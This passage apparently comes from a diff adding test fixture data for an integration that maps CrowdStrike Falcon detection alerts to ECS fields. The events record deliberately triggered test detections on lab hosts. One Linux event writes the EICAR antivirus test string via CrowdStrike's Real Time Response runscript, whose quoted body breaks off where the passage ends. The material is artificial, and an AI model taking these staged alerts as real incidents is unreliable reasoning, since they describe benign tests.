+                    "GrandparentImageFileName": "explorer.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10303",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 90,
+                    "SeverityName": "Critical",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021272,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:30:10.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575410000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021272,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 99,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "bd5bfe63bc48507039f7e3afa5b01a70",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "cmd",
+                    "crowdstrike_test_critical"
+                ],
+                "command_line": "cmd  crowdstrike_test_critical",
+                "entity_id": "43444774922",
+                "executable": "cmd",
+                "name": "cmd.exe",
+                "parent": {
+                    "args": [
+                        "\"C:\\Windows\\system32\\cmd.exe\""
+                    ],
+                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "entity_id": "43425257674",
+                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "pid": 43425257674
+                },
+                "pid": 43444774922,
+                "start": "2025-07-15T10:28:54.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "bd5bfe63bc48507039f7e3afa5b01a70"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:30:04.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744",
+                    "DataDomains": "Endpoint",
+                    "Description": "A medium level detection was triggered on this process for testing purposes.",
+                    "GrandparentCommandLine": "cmd  crowdstrike_test_critical",
+                    "GrandparentImageFileName": "cmd.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10305",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 50,
+                    "SeverityName": "Medium",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021265,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:30:04.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575404000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021265,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 47,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "645b4fecb42fb954858850fe127ceb98",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "cmd",
+                    "crowdstrike_test_medium"
+                ],
+                "command_line": "cmd  crowdstrike_test_medium",
+                "entity_id": "43448891811",
+                "executable": "cmd",
+                "name": "cmd.exe",
+                "parent": {
+                    "args": [
+                        "cmd",
+                        "crowdstrike_test_high"
+                    ],
+                    "command_line": "cmd  crowdstrike_test_high",
+                    "entity_id": "43447659975",
+                    "executable": "cmd",
+                    "pid": 43447659975
+                },
+                "pid": 43448891811,
+                "start": "2025-07-15T10:29:14.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "645b4fecb42fb954858850fe127ceb98"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-15T10:29:44.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448",
+                    "DataDomains": "Endpoint",
+                    "Description": "For evaluation only - benign, no action needed.",
+                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
+                    "GrandparentImageFileName": "explorer.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "Objective": "Falcon Detection Method",
+                    "ParentImageFileName": "cmd.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10197",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 30,
+                    "SeverityName": "Low",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 2021264,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-15T10:29:44.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575384000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021264,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "ce0219f7ab9077db1c089a48eaa82eb1",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930"
+                },
+                "name": "choice.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "choice",
+                    "/m",
+                    "crowdstrike_sample_detection"
+                ],
+                "command_line": "choice  /m crowdstrike_sample_detection",
+                "entity_id": "43438097407",
+                "executable": "choice",
+                "name": "choice.exe",
+                "parent": {
+                    "args": [
+                        "\"C:\\Windows\\system32\\cmd.exe\""
+                    ],
+                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "entity_id": "43425257674",
+                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
+                    "pid": 43425257674
+                },
+                "pid": 43438097407,
+                "start": "2025-07-15T10:28:38.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930",
+                    "ce0219f7ab9077db1c089a48eaa82eb1"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Malicious File"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-03T09:09:29.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088",
+                    "DataDomains": "Endpoint",
+                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+                    "GrandparentCommandLine": "falcon-sensor-bpf",
+                    "GrandparentImageFileName": "falcon-sensor-bpf17804",
+                    "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804",
+                    "HostGroups": [
+                        "5b2e67ccb1de4ac0b1c49225c8fcb132"
+                    ],
+                    "MACAddress": "52-54-00-58-b6-5e",
+                    "Objective": "Follow Through",
+                    "ParentImageFileName": "bash",
+                    "ParentImageFilePath": "/usr/bin/bash",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "30195",
+                    "PlatformId": "3",
+                    "PlatformName": "Linux",
+                    "SensorId": "1d58fa2265b540b79cd057e8fa798e4d",
+                    "Severity": 10,
+                    "SeverityName": "Informational",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1962865,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-03T09:09:29.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n#    Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n#   CrowdStrike Real Time Response command\\n# PARAMETER WD\\n#    Current working directory\\n# PARAMETER Param1\\n#    Script body - Required\\n# PARAMETER Param2\\n#    Command line sent to script\\n# PARAMETER Param3\\n#    Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n#    Timeout in seconds\\n# NOTES\\n#    File Name  : runscript.sh\\n#    Contact    : support@crowdstrike.com\\n#    Copyright  : CrowdStrike 2020\\n# LINK\\n#    https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n    echo \\\"$command: $1\\\" >&2\\n    exit 1\\n}\\n\\nfunction err_handler()\\n{\\n    # Rewrite the error message to remove the internal command prefix\\n    echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n    eval set -- \\\"$1\\\"\\n    echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script=\\\"$1\\\"\\n    shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_args=\\\"$1\\\"\\n    shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n    if [ -n \\\"$script_path\\\" ]; then\\n        script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n    fi\\n    shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    if [ -n \\\"$1\\\" ]; then\\n        timeout=\\\"$1\\\"\\n    fi\\n    shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n    die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ 